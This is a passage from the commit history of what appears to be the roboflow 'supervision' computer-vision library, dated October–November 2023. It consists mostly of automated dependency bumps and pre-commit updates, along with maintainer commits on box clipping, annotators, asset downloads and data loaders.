- [Release notes](https://github.com/mkdocstrings/mkdocstrings/releases)
- [Changelog](https://github.com/mkdocstrings/mkdocstrings/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mkdocstrings/mkdocstrings/compare/0.23.0...0.24.0)

---
updated-dependencies:
- dependency-name: mkdocstrings
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-15 00:32:33 +00:00
dependabot[bot] 7f081f4314 ⬆️ Bump actions/github-script from 6 to 7
Bumps [actions/github-script](https://github.com/actions/github-script) from 6 to 7.
- [Release notes](https://github.com/actions/github-script/releases)
- [Commits](https://github.com/actions/github-script/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/github-script
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-14 00:36:36 +00:00
pre-commit-ci[bot] dd39360221 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/psf/black: 23.10.1 → 23.11.0](https://github.com/psf/black/compare/23.10.1...23.11.0)
- [github.com/astral-sh/ruff-pre-commit: v0.1.4 → v0.1.5](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.4...v0.1.5)
2023-11-13 17:46:54 +00:00
dependabot[bot] 7de7281e0e ⬆️ Bump mypy from 1.6.1 to 1.7.0
Bumps [mypy](https://github.com/python/mypy) from 1.6.1 to 1.7.0.
- [Changelog](https://github.com/python/mypy/blob/master/CHANGELOG.md)
- [Commits](https://github.com/python/mypy/compare/v1.6.1...v1.7.0)

---
updated-dependencies:
- dependency-name: mypy
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-13 00:53:30 +00:00
Onuralp SEZER e8f0ceab71 fix: 🐞 test fix
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-11-10 22:07:47 +03:00
Onuralp SEZER 94a95110ce fix: 🐞 pre-commit fix and ignore removed (not needed)
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-11-10 21:47:40 +03:00
pre-commit-ci[bot] 08a48a4f5d fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-10 18:26:26 +00:00
SkalskiP 95f4b5c0b8 Add linting rule exceptions for test_file.py
Added linting rule exceptions for 'test/utils/test_file.py' in 'pyproject.toml'. Specifically, the 'W291' error which checks for trailing whitespace is ignored for this test file. This is necessary to test whether 'read_txt_file' function in 'test_utils.py' correctly ignores trailing whitespaces in varies test scenarios.
2023-11-10 10:25:59 -08:00
pre-commit-ci[bot] 6211139201 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-10 18:15:39 +00:00
SkalskiP e416ef4c0e Refactor import paths and improve text file reading
Refactored import paths for test utility methods across multiple test files to align with a recent package restructure. Enriched 'read_txt_file' functionality in 'file.py' allowing to optionally skip empty lines, enhancing flexibility for various use-cases. Added tests for the new 'read_txt_file' behavior in a new 'test_file.py'. Renamed 'utils.py' in test package to 'test_utils.py' for better differentiation from the util package in the source code.
2023-11-10 10:15:08 -08:00
pre-commit-ci[bot] 1dce43747f fix(pre_commit): 🎨 auto format pre-commit hooks 2023-11-10 04:41:51 +00:00
Cody Chen f9ead5543b Ignore empty newlines in yolo label file 2023-11-09 20:24:11 -08:00
Onuralp SEZER 5d19e246a4 Merge pull request #583 from roboflow/dependabot/pip/ruff-0.1.5
⬆️ Bump ruff from 0.1.4 to 0.1.5
2023-11-09 11:33:03 +03:00
Onuralp SEZER 052a9d33bb Merge pull request #582 from roboflow/dependabot/pip/black-23.11.0
⬆️ Bump black from 23.10.1 to 23.11.0
2023-11-09 11:32:45 +03:00
dependabot[bot] ed41153c19 ⬆️ Bump ruff from 0.1.4 to 0.1.5
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.4 to 0.1.5.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.4...v0.1.5)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-09 00:48:59 +00:00
dependabot[bot] b89487d8e8 ⬆️ Bump black from 23.10.1 to 23.11.0
Bumps [black](https://github.com/psf/black) from 23.10.1 to 23.11.0.
- [Release notes](https://github.com/psf/black/releases)
- [Changelog](https://github.com/psf/black/blob/main/CHANGES.md)
- [Commits](https://github.com/psf/black/compare/23.10.1...23.11.0)

---
updated-dependencies:
- dependency-name: black
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-09 00:46:29 +00:00
Onuralp SEZER c8f557af0c Merge pull request #578 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-11-06 21:19:40 +03:00
pre-commit-ci[bot] 7946f54b95 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.3 → v0.1.4](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.3...v0.1.4)
2023-11-06 17:37:29 +00:00
Onuralp SEZER eeae6dafc0 Merge pull request #577 from roboflow/dependabot/pip/ruff-0.1.4
⬆️ Bump ruff from 0.1.3 to 0.1.4
2023-11-06 18:41:42 +03:00
Onuralp SEZER d07e6a3ed2 Merge pull request #576 from roboflow/dependabot/pip/mkdocs-material-9.4.8
⬆️ Bump mkdocs-material from 9.4.7 to 9.4.8
2023-11-06 18:41:15 +03:00
dependabot[bot] 06945856a3 ⬆️ Bump ruff from 0.1.3 to 0.1.4
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.3 to 0.1.4.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.3...v0.1.4)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-06 00:57:31 +00:00
dependabot[bot] 899d88676b ⬆️ Bump mkdocs-material from 9.4.7 to 9.4.8
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.4.7 to 9.4.8.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.4.7...9.4.8)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-06 00:54:42 +00:00
James Gallagher 1fd248f1ff upgrade to work with tf2 2023-11-03 20:11:32 +00:00
James Gallagher 417656f176 upgrade to work with tf2 2023-11-03 20:08:28 +00:00
James Gallagher 2335b61d1e move to use detection_classes for tf2 compat 2023-11-03 19:48:42 +00:00
James Gallagher d7e8a11139 add sv.Detections.from_tensorflow_hub 2023-11-03 19:31:46 +00:00
James Gallagher 82ed322fba add timm data loader 2023-11-03 18:25:09 +00:00
James Gallagher c438b16e74 update example 2023-11-03 16:11:16 +00:00
James Gallagher 3490c3e670 add azure data loader 2023-11-03 15:59:53 +00:00
Onuralp SEZER 583ad5f6e2 ci: 👷 ci job are renamed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-11-03 14:11:12 +03:00
Piotr Skalski 26eac2cdc7 Merge pull request #565 from roboflow/hb-removal-readme
docs: 🚀 hacktoberfest 2023 finished.
2023-11-03 11:51:46 +01:00
Onuralp SEZER 9a0f35fcf9 ci: 👷 python3.8 and minimum version package CI added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-11-02 22:19:35 +03:00
Onuralp SEZER 7a7b50eb12 build(deps): 🚀 min and max supervision package reqs are added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-11-02 22:17:27 +03:00
Onuralp SEZER ad458cf705 docs: 🚀 hacktoberfest 2023 finished.
Thank you all who participate to hacktoberfest to make supervision awesome ! 🎉 🎉 🎉 🎉
2023-11-02 20:38:17 +03:00
Onuralp SEZER 9f3d688bab Merge pull request #560 from roboflow/dependabot/pip/mypy-1.6.1
⬆️ Bump mypy from 1.4.1 to 1.6.1
2023-11-01 18:34:00 +03:00
Onuralp SEZER 190bfbf0d0 Merge pull request #559 from roboflow/dependabot/pip/mkdocs-material-9.4.7
⬆️ Bump mkdocs-material from 9.4.6 to 9.4.7
2023-11-01 18:33:37 +03:00
dependabot[bot] f9b8709568 ⬆️ Bump mypy from 1.4.1 to 1.6.1
Bumps [mypy](https://github.com/python/mypy) from 1.4.1 to 1.6.1.
- [Changelog](https://github.com/python/mypy/blob/master/CHANGELOG.md)
- [Commits](https://github.com/python/mypy/compare/v1.4.1...v1.6.1)

---
updated-dependencies:
- dependency-name: mypy
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-01 00:37:17 +00:00
dependabot[bot] 8d1e091a3b ⬆️ Bump mkdocs-material from 9.4.6 to 9.4.7
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.4.6 to 9.4.7.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.4.6...9.4.7)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-01 00:35:42 +00:00
Piotr Skalski 92592c8edc Merge pull request #555 from fdloopes/540-bug-blur-annotator
fix: #540 bug blur annotator
2023-10-31 18:25:44 +01:00
pre-commit-ci[bot] e6a5c514f8 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-31 17:05:11 +00:00
SkalskiP ce7e3a1de4 Refactor clip_boxes function and enhance detections processing
Refactored the `clip_boxes` function for clarity by renaming arguments from `boxes_xyxy` and `frame_resolution_wh` to `xyxy` and `resolution_wh`, respectively. These change makes the function arguments more intuitive and improves code readability.

The processing of detections in `supervision/annotators/core.py` has been updated to include clipping of detection boxes to the image bounds before processing. This prevents errors and ensures detections beyond the image dimensions are handled correctly. Adjustments were also made in the test cases and in `polygon_zone.py` to match the updated `clip_boxes` function.
2023-10-31 18:04:13 +01:00
Piotr Skalski 4cb19e6618 Merge pull request #558 from roboflow/fix/kapa-roboflow-logo
Update init_kapa_widget.js
2023-10-31 17:32:31 +01:00
Piotr Skalski 6e039d7ebd Update init_kapa_widget.js 2023-10-31 17:30:02 +01:00
Piotr Skalski c100c8019a Merge pull request #552 from roboflow/add-docs-bot
Add Kapa documentation bot to supervision docs
2023-10-31 17:23:49 +01:00
Onuralp SEZER e3e30e305a Merge pull request #547 from roboflow/dependabot/pip/ruff-0.1.3
⬆️ Bump ruff from 0.1.2 to 0.1.3
2023-10-31 18:54:48 +03:00
dependabot[bot] 4a5d850f28 ⬆️ Bump ruff from 0.1.2 to 0.1.3
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.2 to 0.1.3.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.2...v0.1.3)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-31 15:53:12 +00:00
Onuralp SEZER 092771d9a1 Merge pull request #545 from roboflow/dependabot/pip/flake8-6.1.0
⬆️ Bump flake8 from 6.0.0 to 6.1.0
2023-10-31 18:50:19 +03:00
Onuralp SEZER 321dc054df Merge pull request #546 from roboflow/dependabot/pip/notebook-7.0.6
⬆️ Bump notebook from 6.5.4 to 7.0.6
2023-10-31 18:49:30 +03:00
dependabot[bot] ec9aae686b ⬆️ Bump notebook from 6.5.4 to 7.0.6
Bumps [notebook](https://github.com/jupyter/notebook) from 6.5.4 to 7.0.6.
- [Release notes](https://github.com/jupyter/notebook/releases)
- [Changelog](https://github.com/jupyter/notebook/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jupyter/notebook/compare/v6.5.4...@jupyter-notebook/tree@7.0.6)

---
updated-dependencies:
- dependency-name: notebook
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-31 15:48:33 +00:00
Onuralp SEZER 7c2e9842e8 Merge pull request #543 from roboflow/dependabot/pip/pillow-10.1.0
⬆️ Bump pillow from 10.0.1 to 10.1.0
2023-10-31 18:47:58 +03:00
Onuralp SEZER 4d3820ba73 Merge pull request #554 from roboflow/dependabot/pip/wheel-0.41.3
⬆️ Bump wheel from 0.40.0 to 0.41.3
2023-10-31 18:46:45 +03:00
fdloopes 8b88f1f415 Add space after comma, following pre-commit pattern 2023-10-31 11:50:37 -03:00
Onuralp SEZER 37951b3617 Merge pull request #553 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-10-31 14:06:44 +03:00
dependabot[bot] 98fa8339c8 ⬆️ Bump wheel from 0.40.0 to 0.41.3
Bumps [wheel](https://github.com/pypa/wheel) from 0.40.0 to 0.41.3.
- [Release notes](https://github.com/pypa/wheel/releases)
- [Changelog](https://github.com/pypa/wheel/blob/main/docs/news.rst)
- [Commits](https://github.com/pypa/wheel/compare/0.40.0...0.41.3)

---
updated-dependencies:
- dependency-name: wheel
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-31 01:05:37 +00:00
pre-commit-ci[bot] 030359cb44 chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/psf/black: 23.10.0 → 23.10.1](https://github.com/psf/black/compare/23.10.0...23.10.1)
- [github.com/astral-sh/ruff-pre-commit: v0.1.1 → v0.1.3](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.1...v0.1.3)
2023-10-30 17:39:35 +00:00
pre-commit-ci[bot] 9f265b4833 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-30 15:15:15 +00:00
James Gallagher c036aa9bd6 add kapa bot 2023-10-30 15:13:33 +00:00
fdloopes 7f69f6a168 Add np.maximum when retrieving detections coordinates within the BlurAnnotator.annotate() method. 2023-10-30 10:26:09 -03:00
Piotr Skalski d76dd771d7 Merge pull request #462 from Rajarshi-Misra/develop
Builds: Create "How to: track objects" docs page #442
2023-10-28 01:14:34 +02:00
pre-commit-ci[bot] 21fe102bbd fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-27 23:12:26 +00:00
SkalskiP 769f97cd7d Update object tracking documentation
Revise the contents of the 'How to Track Objects' documentation covering the use of supervision for object tracking in video analysis. The revision offers a more detailed guide, including running inference, tracking objects, annotating videos with unique tracking IDs, and annotating videos with traces. The new guide provides a structured walkthrough and tutorial on using Supervision's functionalities, aimed at helping users to annotate videos more effectively and understand the movement patterns and interactions of objects in the videos.
2023-10-28 01:12:09 +02:00
Onuralp SEZER 2de3e171f3 Merge pull request #542 from roboflow/dependabot/pip/pytest-7.4.3
⬆️ Bump pytest from 7.4.2 to 7.4.3
2023-10-26 07:20:56 +03:00
Onuralp SEZER 6a4bfcf094 Merge pull request #541 from roboflow/dependabot/pip/black-23.10.1
⬆️ Bump black from 23.7.0 to 23.10.1
2023-10-26 07:20:36 +03:00
dependabot[bot] 82e35479e7 ⬆️ Bump flake8 from 6.0.0 to 6.1.0
Bumps [flake8](https://github.com/pycqa/flake8) from 6.0.0 to 6.1.0.
- [Commits](https://github.com/pycqa/flake8/compare/6.0.0...6.1.0)

---
updated-dependencies:
- dependency-name: flake8
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-26 00:26:40 +00:00
dependabot[bot] 3356defe95 ⬆️ Bump pillow from 10.0.1 to 10.1.0
Bumps [pillow](https://github.com/python-pillow/Pillow) from 10.0.1 to 10.1.0.
- [Release notes](https://github.com/python-pillow/Pillow/releases)
- [Changelog](https://github.com/python-pillow/Pillow/blob/main/CHANGES.rst)
- [Commits](https://github.com/python-pillow/Pillow/compare/10.0.1...10.1.0)

---
updated-dependencies:
- dependency-name: pillow
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-26 00:25:05 +00:00
dependabot[bot] c04129f2b8 ⬆️ Bump pytest from 7.4.2 to 7.4.3
Bumps [pytest](https://github.com/pytest-dev/pytest) from 7.4.2 to 7.4.3.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/7.4.2...7.4.3)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-26 00:24:09 +00:00
dependabot[bot] 22b4444e9e ⬆️ Bump black from 23.7.0 to 23.10.1
Bumps [black](https://github.com/psf/black) from 23.7.0 to 23.10.1.
- [Release notes](https://github.com/psf/black/releases)
- [Changelog](https://github.com/psf/black/blob/main/CHANGES.md)
- [Commits](https://github.com/psf/black/compare/23.7.0...23.10.1)

---
updated-dependencies:
- dependency-name: black
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-26 00:23:12 +00:00
Piotr Skalski 5de77cee7d Merge pull request #534 from hugoles/patch-1
Rename script.sh to setup.sh
2023-10-25 15:15:06 +02:00
Onuralp SEZER f36b39b543 Merge pull request #537 from roboflow/dependabot/pip/ruff-0.1.2
⬆️ Bump ruff from 0.1.1 to 0.1.2
2023-10-25 14:23:04 +03:00
dependabot[bot] 8e91c62103 ⬆️ Bump ruff from 0.1.1 to 0.1.2
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.1 to 0.1.2.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.1...v0.1.2)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-25 11:18:29 +00:00
Onuralp SEZER ab0612917b Merge pull request #538 from roboflow/dependabot/pip/matplotlib-3.7.3
⬆️ Bump matplotlib from 3.7.2 to 3.7.3
2023-10-25 14:16:36 +03:00
Onuralp SEZER 4f31cf9f46 Merge pull request #536 from roboflow/dependabot/pip/opencv-python-headless-4.8.1.78
⬆️ Bump opencv-python-headless from 4.8.0.74 to 4.8.1.78
2023-10-25 14:15:58 +03:00
Onuralp SEZER d563d5db03 Merge pull request #535 from roboflow/dependabot/pip/mkdocstrings-0.23.0
⬆️ Bump mkdocstrings from 0.20.0 to 0.23.0
2023-10-25 14:15:08 +03:00
Onuralp SEZER f309b43c68 Merge pull request #539 from roboflow/dependabot/pip/pre-commit-3.5.0
⬆️ Bump pre-commit from 3.3.3 to 3.5.0
2023-10-25 14:14:32 +03:00
dependabot[bot] b17003855c ⬆️ Bump pre-commit from 3.3.3 to 3.5.0
Bumps [pre-commit](https://github.com/pre-commit/pre-commit) from 3.3.3 to 3.5.0.
- [Release notes](https://github.com/pre-commit/pre-commit/releases)
- [Changelog](https://github.com/pre-commit/pre-commit/blob/main/CHANGELOG.md)
- [Commits](https://github.com/pre-commit/pre-commit/compare/v3.3.3...v3.5.0)

---
updated-dependencies:
- dependency-name: pre-commit
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-25 00:44:21 +00:00
dependabot[bot] 45a1905812 ⬆️ Bump matplotlib from 3.7.2 to 3.7.3
Bumps [matplotlib](https://github.com/matplotlib/matplotlib) from 3.7.2 to 3.7.3.
- [Release notes](https://github.com/matplotlib/matplotlib/releases)
- [Commits](https://github.com/matplotlib/matplotlib/compare/v3.7.2...v3.7.3)

---
updated-dependencies:
- dependency-name: matplotlib
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-25 00:43:41 +00:00
dependabot[bot] cbcd0be74c ⬆️ Bump opencv-python-headless from 4.8.0.74 to 4.8.1.78
Bumps [opencv-python-headless](https://github.com/opencv/opencv-python) from 4.8.0.74 to 4.8.1.78.
- [Release notes](https://github.com/opencv/opencv-python/releases)
- [Commits](https://github.com/opencv/opencv-python/commits)

---
updated-dependencies:
- dependency-name: opencv-python-headless
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-25 00:42:13 +00:00
dependabot[bot] bda80934cc ⬆️ Bump mkdocstrings from 0.20.0 to 0.23.0
Bumps [mkdocstrings](https://github.com/mkdocstrings/mkdocstrings) from 0.20.0 to 0.23.0.
- [Release notes](https://github.com/mkdocstrings/mkdocstrings/releases)
- [Changelog](https://github.com/mkdocstrings/mkdocstrings/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mkdocstrings/mkdocstrings/compare/0.20.0...0.23.0)

---
updated-dependencies:
- dependency-name: mkdocstrings
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-25 00:41:33 +00:00
Hugo Dutra b77bab39de Rename script.sh to setup.sh
changing the file name.
2023-10-24 12:37:52 -03:00
Onuralp SEZER 599a9b8a5b Merge pull request #531 from roboflow/dependabot/pip/ruff-0.1.1
⬆️ Bump ruff from 0.0.280 to 0.1.1
2023-10-24 17:23:59 +03:00
Piotr Skalski b9dbbbc0ec Merge pull request #533 from roboflow/assets-fix
Assets fix
2023-10-24 16:16:30 +02:00
pre-commit-ci[bot] 337abe1e71 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-24 14:15:07 +00:00
SkalskiP 9ece846f8e Update project version in pyproject.toml
Increased the version of the project from "0.17.0rc1" to "0.17.0rc2" in the 'pyproject.toml' file.
2023-10-24 16:11:46 +02:00
dependabot[bot] c23d00566b ⬆️ Bump ruff from 0.0.280 to 0.1.1
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.0.280 to 0.1.1.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.0.280...v0.1.1)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 14:11:27 +00:00
SkalskiP 6837ef1d36 Refactor asset imports and improve documentation
Updated the import statements in the `supervision/assets/__init__.py`, `supervision/assets/downloader.py`, and `supervision/assets/list.py` files to use absolute paths for improved readability and reduced risk of import errors. Also added a usage example to the `download_assets` function to better illustrate its usage and return value.
2023-10-24 16:10:37 +02:00
Onuralp SEZER 26990513ba Merge pull request #528 from roboflow/dependabot/pip/build-1.0.3
⬆️ Bump build from 0.10.0 to 1.0.3
2023-10-24 17:09:44 +03:00
Onuralp SEZER bdf527809d Merge pull request #532 from roboflow/dependabot/pip/opencv-python-4.8.1.78
⬆️ Bump opencv-python from 4.8.0.74 to 4.8.1.78
2023-10-24 17:09:18 +03:00
dependabot[bot] 23a71e6f51 ⬆️ Bump build from 0.10.0 to 1.0.3
Bumps [build](https://github.com/pypa/build) from 0.10.0 to 1.0.3.
- [Release notes](https://github.com/pypa/build/releases)
- [Changelog](https://github.com/pypa/build/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pypa/build/compare/0.10.0...1.0.3)

---
updated-dependencies:
- dependency-name: build
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 14:02:20 +00:00
dependabot[bot] e61f1718a0 ⬆️ Bump opencv-python from 4.8.0.74 to 4.8.1.78
Bumps [opencv-python](https://github.com/opencv/opencv-python) from 4.8.0.74 to 4.8.1.78.
- [Release notes](https://github.com/opencv/opencv-python/releases)
- [Commits](https://github.com/opencv/opencv-python/commits)

---
updated-dependencies:
- dependency-name: opencv-python
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 14:00:32 +00:00
Onuralp SEZER bb79eebdae Merge pull request #530 from roboflow/dependabot/pip/mkdocs-material-9.4.6
⬆️ Bump mkdocs-material from 9.1.19 to 9.4.6
2023-10-24 17:00:17 +03:00
Onuralp SEZER cdb74c1b19 Merge pull request #529 from roboflow/dependabot/pip/pytest-7.4.2
⬆️ Bump pytest from 7.4.0 to 7.4.2
2023-10-24 16:59:15 +03:00
dependabot[bot] b1ceb1debf ⬆️ Bump mkdocs-material from 9.1.19 to 9.4.6
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.1.19 to 9.4.6.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.1.19...9.4.6)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 13:59:09 +00:00
Onuralp SEZER 9fe343942f Merge pull request #526 from roboflow/dependabot/github_actions/actions/first-interaction-1.2.0
⬆️ Bump actions/first-interaction from 1.1.1 to 1.2.0
2023-10-24 16:58:35 +03:00
Onuralp SEZER b08d40cad4 Merge pull request #527 from roboflow/dependabot/github_actions/actions/checkout-4
⬆️ Bump actions/checkout from 3 to 4
2023-10-24 16:58:05 +03:00
dependabot[bot] 46a50e9595 ⬆️ Bump pytest from 7.4.0 to 7.4.2
Bumps [pytest](https://github.com/pytest-dev/pytest) from 7.4.0 to 7.4.2.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/7.4.0...7.4.2)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 13:57:57 +00:00
dependabot[bot] 7001721872 ⬆️ Bump actions/checkout from 3 to 4
Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 13:56:24 +00:00
dependabot[bot] 8c2d18d752 ⬆️ Bump actions/first-interaction from 1.1.1 to 1.2.0
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.1 to 1.2.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.1...v1.2.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-24 13:56:19 +00:00
Piotr Skalski fc8e2e2889 Merge pull request #479 from roboflow/dependabot-bot-add
ci(dependabot): 🤖 create dependabot.yml config for update github actions and python packages automatically.
2023-10-24 15:55:57 +02:00
Onuralp SEZER 14dfb32f44 Merge pull request #476 from roboflow/asset-addon
feat(assets): ✨ assets and assets downloader add-on for supervision[assets]
2023-10-24 16:53:38 +03:00
Piotr Skalski 8aee70872f Merge branch 'develop' into asset-addon 2023-10-24 15:50:56 +02:00
SkalskiP 671c8b3683 Update asset list and project version 2023-10-24 15:49:32 +02:00
SkalskiP edaef0b165 Merge remote-tracking branch 'origin/asset-addon' into asset-addon 2023-10-24 15:42:14 +02:00
SkalskiP 28fb656bca Update docstring formatting in VideoAssets enum
Updated the docstring comment's format inside the VideoAssets enum in supervision/assets/list.py. The update aligns with PEP 8 E501 error code that requires line too long (>80 characters).

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-10-24 16:40:26 +03:00
SkalskiP e9866c2f25 "Add instructions for assets utility installation
Expanded the documentation to include instructions on how to install and use the Supervision assets utility. Instructions include steps for performing the installation using pip, allowing users to easily download video files for their demos.
2023-10-24 15:40:19 +02:00
SkalskiP e59d1bc9f3 Merge remote-tracking branch 'origin/asset-addon' into asset-addon
# Conflicts:
#	supervision/assets/list.py
2023-10-24 15:37:53 +02:00
SkalskiP b6001e389e Update docstring formatting in VideoAssets enum
Updated the docstring comment's format inside the VideoAssets enum in supervision/assets/list.py. The update aligns with PEP 8 E501 error code that requires line too long (>80 characters).

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-10-24 16:07:48 +03:00
SkalskiP c529402068 Update docstring formatting in VideoAssets enum
Updated the docstring comment's format inside the VideoAssets enum in supervision/assets/list.py. The update aligns with PEP 8 E501 error code that requires line too long (>80 characters).
2023-10-24 15:05:00 +02:00
SkalskiP 9d68ee6a1e Merge remote-tracking branch 'origin/asset-addon' into asset-addon 2023-10-24 15:04:02 +02:00
SkalskiP 999c12162a Refactor imports in downloader.py
The 'Response' imported module from 'requests' in downloader.py is not needed.
2023-10-24 15:03:54 +02:00
